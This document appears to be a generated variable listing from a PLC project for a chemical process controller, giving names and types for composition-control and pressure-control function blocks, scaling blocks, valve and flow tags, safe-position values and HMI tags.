+84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; 